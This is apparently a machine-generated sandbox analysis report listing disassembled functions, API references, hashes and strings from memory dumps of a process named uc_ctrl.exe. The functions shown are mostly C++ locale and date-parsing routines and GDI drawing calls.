??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C937FFD
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93800E
new.LIBCMT ref: 6C938023
??Bid@locale@std@@QAEIXZ.MSVCP140(00000018,00000000), ref: 6C938054
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C938062
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000), ref: 6C938073
new.LIBCMT ref: 6C938087
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C9380A0
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C9380AE
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C9380BF
?_Makexloc@_Locimp@locale@std@@CAXABV_Locinfo@3@HPAV123@PBV23@@Z.MSVCP140(?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C9380D0
?_Makewloc@_Locimp@locale@std@@CAXABV_Locinfo@3@HPAV123@PBV23@@Z.MSVCP140(?,?,?,00000000,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E), ref: 6C9380DB
?_Makeushloc@_Locimp@locale@std@@CAXABV_Locinfo@3@HPAV123@PBV23@@Z.MSVCP140(?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148,?,0000003F), ref: 6C9380E7
??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(?), ref: 6C938100

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Bid@locale@std@@$Locimp@locale@std@@V123@$Addfac@_Locimp_Vfacet@23@$Locinfo@3@V23@@$D@std@@H_prolog3$??0?$ctype@??1_??4?$_GetctypeLocinfo@1@Lockit@std@@Makeushloc@_Makewloc@_Makexloc@_V01@Yarn@_lock_localesmalloc
String ID:
API String ID: 3705515267-0
Opcode ID: 584210568b0485c8027491bd9e85a730c501b4a5e42557ffd7fb65145d9894f8
Instruction ID: 3b171cb4a6360ba98cfe7669f25f5e6b0e4e24fa7fb8db91beaf9fa950f76682
Opcode Fuzzy Hash: 584210568b0485c8027491bd9e85a730c501b4a5e42557ffd7fb65145d9894f8
Instruction Fuzzy Hash: 7451C270901325ABDB149FA59841AFF76ACEF66758F001129EC1D9BB80CF34CE088BB5

Function 6C692F0F Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 239windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C692F16
CreateRectRgnIndirect.GDI32(?), ref: 6C692F50
CopyRect.USER32(?,?), ref: 6C692F64
InflateRect.USER32(?,?,?), ref: 6C692F7A
IntersectRect.USER32(?,?,?), ref: 6C692F86
CreateRectRgnIndirect.GDI32(?), ref: 6C692F90
CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 6C692FA5
CombineRgn.GDI32(?,?,?,00000003), ref: 6C692FBF
CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 6C69300B
SetRectRgn.GDI32(?,?,00000004,?,?), ref: 6C693028
CopyRect.USER32(?,?), ref: 6C693033
InflateRect.USER32(?,?,?), ref: 6C693049
IntersectRect.USER32(?,?,?), ref: 6C693055
SetRectRgn.GDI32(?,?,?,?,?), ref: 6C69306A
CombineRgn.GDI32(?,?,?,00000003), ref: 6C69307B
CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 6C693092
CombineRgn.GDI32(?,?,?,00000003), ref: 6C6930AC

Part of subcall function 6C69326B: CreateBitmap.GDI32(00000008,00000008,00000001,00000001,00000000), ref: 6C6932B2
Part of subcall function 6C69326B: CreatePatternBrush.GDI32(00000000), ref: 6C6932BF
Part of subcall function 6C69326B: DeleteObject.GDI32(00000000), ref: 6C6932CB

PatBlt.GDI32(00000004,?,?,?,?,005A0049), ref: 6C693108
PatBlt.GDI32(00000004,?,?,?,?,005A0049), ref: 6C693167

Part of subcall function 6C67FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6C67FBB9

Strings

$u~l, xrefs: 6C692F20
$u~l, xrefs: 6C692FEA
$u~l, xrefs: 6C693183

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Rect$Create$Combine$CopyIndirectInflateIntersect$BitmapBrushDeleteException@8H_prolog3_ObjectPatternThrow
String ID: $u~l$$u~l$$u~l
API String ID: 1437591364-938802749
Opcode ID: d18fc133fb8ea486fcc5090c91e7a83c40326933a79e192cff0a444b2d77f793
Instruction ID: a48c3fedfb73fd74d9f742b28e0a4815f0f5f40c33647b887d455619633205b7
Opcode Fuzzy Hash: d18fc133fb8ea486fcc5090c91e7a83c40326933a79e192cff0a444b2d77f793
Instruction Fuzzy Hash: FF91D1B2E01219AFDF45DFE4D998DEEBBB9BF0D304B044129E906A7250DB349904CB68

Function 6C941AA0 Relevance: 36.4, APIs: 24, Instructions: 427COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C941AA7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000024), ref: 6C941AB8

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93E064: __EH_prolog3.LIBCMT ref: 6C93E06B
Part of subcall function 6C93E064: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E56F,00000010,?,?,00000000), ref: 6C93E076
Part of subcall function 6C93E064: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C93E08E
Part of subcall function 6C93E064: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C93E0F2

std::locale::~locale.LIBCPMT ref: 6C941AD1
?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,00000000,?,?,?,?,?), ref: 6C941B4E
?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,?,?,00000001,0000000C,?,00000000), ref: 6C941B82
?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,?,?,?,0000001F,?,00000000), ref: 6C941BAE
?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,00000000,?,?,?,?,?), ref: 6C941D01
?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,00000000,?,?,?,?,?), ref: 6C941E91
?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,?,?,00000001,0000000C,?,00000000), ref: 6C941EB7

Part of subcall function 6C943CD0: _Stolx.MSVCP140(?,?,0000000A,?,?,?,00000000), ref: 6C943E2E

?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,?,?,00000001,0000001F,?,00000000), ref: 6C941EE1

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_V?$istreambuf_iterator@_$W@std@@@std@@@std@@$Getint@?$time_get@_V?$ctype@_W@2@@W@std@@@2@0$?get_monthname@?$time_get@_Utm@@@V32@0Vios_base@2@W@std@@@2@$H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@StolxVlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2927949362-0
Opcode ID: 3c9586aafadd9bbb8af1e7fbd83b31a570ee7a52a9bbbde96cd45dda4838291c
Instruction ID: edb2b71bd8ab1b1fd77ca1ecf2891e270dc67d6a0811d97f9a4bbf678490c209
Opcode Fuzzy Hash: 3c9586aafadd9bbb8af1e7fbd83b31a570ee7a52a9bbbde96cd45dda4838291c
Instruction Fuzzy Hash: 76F15B7190025AAFCF04CF54C880EEE3B7ABF2A318F008555FD156BA51DB75DA29CBA1

Function 6C93F5D0 Relevance: 36.4, APIs: 24, Instructions: 427COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93F5D7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000024), ref: 6C93F5E8

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93D96D: __EH_prolog3.LIBCMT ref: 6C93D974
Part of subcall function 6C93D96D: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EA4F,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C93D97F
Part of subcall function 6C93D96D: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93D997
Part of subcall function 6C93D96D: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93D9FB

std::locale::~locale.LIBCPMT ref: 6C93F601
?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,00000000,?,?,?,?,?), ref: 6C93F67E
?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,?,?,00000001,0000000C,?,00000000), ref: 6C93F6B2
?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,?,?,?,0000001F,?,00000000), ref: 6C93F6DE
?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,00000000,?,?,?,?,?), ref: 6C93F831
?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,00000000,?,?,?,?,?), ref: 6C93F9C1
?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,?,?,00000001,0000000C,?,00000000), ref: 6C93F9E7

Part of subcall function 6C943CD0: _Stolx.MSVCP140(?,?,0000000A,?,?,?,00000000), ref: 6C943E2E

?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,?,?,00000001,0000001F,?,00000000), ref: 6C93FA11

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_V?$istreambuf_iterator@_$W@std@@@std@@@std@@$Getint@?$time_get@_V?$ctype@_W@2@@W@std@@@2@0$?get_monthname@?$time_get@_Utm@@@V32@0Vios_base@2@W@std@@@2@$H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@StolxVlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2927949362-0
Opcode ID: 410f6861f6ead16279c701c8c5e35a9cc978b8eaca428c31781b1bb96ef29d1c
Instruction ID: 20ed4a48d3e620e00325ab1b043252802505087fafb34c33227f2678af39608a
Opcode Fuzzy Hash: 410f6861f6ead16279c701c8c5e35a9cc978b8eaca428c31781b1bb96ef29d1c
Instruction Fuzzy Hash: 4FF15C7190026AAFCF04CF54C880AEE377AFF29718F008595FD196BA51DB75DA29CB90

Function 6C94AD70 Relevance: 33.5, APIs: 12, Strings: 7, Instructions: 258COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94AD77
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000014), ref: 6C94AD85

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93632C: __EH_prolog3.LIBCMT ref: 6C936333
Part of subcall function 6C93632C: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C93633E
Part of subcall function 6C93632C: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C936356
Part of subcall function 6C93632C: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C9363BA

std::locale::~locale.LIBCPMT ref: 6C94AD9E
?get_weekday@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,?,?,?,?,00000014), ref: 6C94ADE4
?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C94AE12
?_Getfmt@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IBE?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@PBD@Z.MSVCP140(?,?,?,?,?,?,?,?,%m / %d / %y), ref: 6C94AE37
?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(?,?,?,?,00000063,?,00000000,?,?,?,?,?,?,?,?,?), ref: 6C94AE4F
?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(?,?,?,?,00000017,?,00000000,?,?,?,?,?,?,?,?,%m / %d / %y), ref: 6C94AE8C
?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(?,?,?,00000001,0000000C,?,00000000,?,?,?,?,?,?,%m / %d / %y), ref: 6C94AEC4
?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(?,?,?,00000001,0000000C,?,00000000,00000001,0000016E,?,00000000,00000001,0000001F,?,00000000,%b %d %H : %M : %S %Y), ref: 6C94AF11
?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(?,?,?,?,00000063,?,00000000,%d / %m / %y,00000006,?,00000000,%I : %M : %S %p,6C925E70,?,?,?), ref: 6C94AFE3
?get_year@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,?,?,?,?,00000035,?,00000000,%H : %M : %S,0000003C,?,00000000,?), ref: 6C94B020

Strings

%d / %m / %y, xrefs: 6C94AFC8
%I : %M : %S %p, xrefs: 6C94AF81
%b %d %H : %M : %S %Y, xrefs: 6C94AE19
%H : %M, xrefs: 6C94AF8B
:AM:am:PM:pm, xrefs: 6C94AF4D
%m / %d / %y, xrefs: 6C94AE9B
%H : %M : %S, xrefs: 6C94AFA0

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@V?$istreambuf_iterator@$D@std@@@std@@@std@@U?$char_traits@_V?$istreambuf_iterator@_$D@2@@D@std@@@2@0Getint@?$time_get@V?$ctype@$V32@0Vios_base@2@$Utm@@@W@std@@@2@W@std@@@std@@@std@@$H_prolog3$??1_?get_monthname@?$time_get@_?get_weekday@?$time_get@_?get_year@?$time_get@_?getloc@ios_base@std@@Bid@locale@std@@D@std@@@2@Getfmt@?$time_get@Lockit@std@@Utm@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1504778631-2891247106
Opcode ID: 8cfc294e1116c6d07a88414ce85d792e5016091c631b20a8812c397fd9bf1aea
Instruction ID: 26b64fd6b5e89058e36fcebd0b908d715474ba51e1dcafe8524708552d1dc7e6
Opcode Fuzzy Hash: 8cfc294e1116c6d07a88414ce85d792e5016091c631b20a8812c397fd9bf1aea
Instruction Fuzzy Hash: 0391557254020AEFCF05CF98CC80EEF3BB9EB59319F048519F965A6694EB31D9258B60

Function 6C941680 Relevance: 31.8, APIs: 12, Strings: 6, Instructions: 258COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C941687
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000014), ref: 6C941695

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93E064: __EH_prolog3.LIBCMT ref: 6C93E06B
Part of subcall function 6C93E064: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E56F,00000010,?,?,00000000), ref: 6C93E076
Part of subcall function 6C93E064: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C93E08E
Part of subcall function 6C93E064: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C93E0F2

std::locale::~locale.LIBCPMT ref: 6C9416AE
?get_weekday@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,?,?,?,?,00000014), ref: 6C9416F4
?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C941722
?_Getfmt@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@PBD@Z.MSVCP140(?,?,?,?,?,?,?,?,%m / %d / %y), ref: 6C941747
?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(?,?,?,?,00000063,?,00000000,?,?,?,?,?,?,?,?,?), ref: 6C94175F
?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(?,?,?,?,00000017,?,00000000,?,?,?,?,?,?,?,?,%m / %d / %y), ref: 6C94179C
?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(?,?,?,00000001,0000000C,?,00000000,?,?,?,?,?,?,%m / %d / %y), ref: 6C9417D4
?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(?,?,?,00000001,0000000C,?,00000000,00000001,0000016E,?,00000000,00000001,0000001F,?,00000000,%b %d %H : %M : %S %Y), ref: 6C941821
?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(?,?,?,?,00000063,?,00000000,%d / %m / %y,00000006,?,00000000,%I : %M : %S %p,6C925E70,?,?,?), ref: 6C9418EF
?get_year@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,?,?,?,?,00000035,?,00000000,%H : %M : %S,0000003C,?,00000000,?), ref: 6C94192C

Strings

%d / %m / %y, xrefs: 6C9418D4
%I : %M : %S %p, xrefs: 6C94188D
%b %d %H : %M : %S %Y, xrefs: 6C941729
%H : %M, xrefs: 6C941897
%m / %d / %y, xrefs: 6C9417AB
%H : %M : %S, xrefs: 6C9418AC

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_V?$istreambuf_iterator@_$W@std@@@std@@@std@@$Getint@?$time_get@_V?$ctype@_W@2@@W@std@@@2@0$V32@0Vios_base@2@W@std@@@2@$Utm@@@$H_prolog3$??1_?get_monthname@?$time_get@_?get_weekday@?$time_get@_?get_year@?$time_get@_?getloc@ios_base@std@@Bid@locale@std@@Getfmt@?$time_get@_Lockit@std@@Utm@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y
API String ID: 439516485-1006846504
Opcode ID: 5ccfa16f89de273799c7af19755c296c1e1b9da6aa564d20225f170b3aa8e368
Instruction ID: f713b62a97e2d541b2de79863a51d79958f090358091c8302269340c7d855d9d
Opcode Fuzzy Hash: 5ccfa16f89de273799c7af19755c296c1e1b9da6aa564d20225f170b3aa8e368
Instruction Fuzzy Hash: 2491667664020AEFCB01CF98DC80DEA3BB9EF1A318F04851AFA45A6650E731D925CB60

Function 00772320 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 144COMMON

Download Yara Rule

APIs

?GetString@CLanguageUI@UiLib@@SAPB_WPB_W0@Z.UC_GUILIB(simba_ctrl,title,001F419D), ref: 0077235E
??BCWindowWnd@UiLib@@QBEPAUHWND__@@XZ.UC_GUILIB(00000000,00000000), ref: 0077237C
SetWindowTextW.USER32(00000000), ref: 00772383
?FindControl@CPaintManagerUI@UiLib@@QBEPAVCControlUI@2@PB_W@Z.UC_GUILIB(list_user), ref: 00772391
GetCommandLineW.KERNEL32(?), ref: 007723A8
CommandLineToArgvW.SHELL32(00000000), ref: 007723AF
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 007723C0
_wcslwr_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 00772425

Strings

title, xrefs: 0077234D
uc_ctrl.exe, xrefs: 00772445
UCaaS.exe, xrefs: 00772440
list_user, xrefs: 00772389
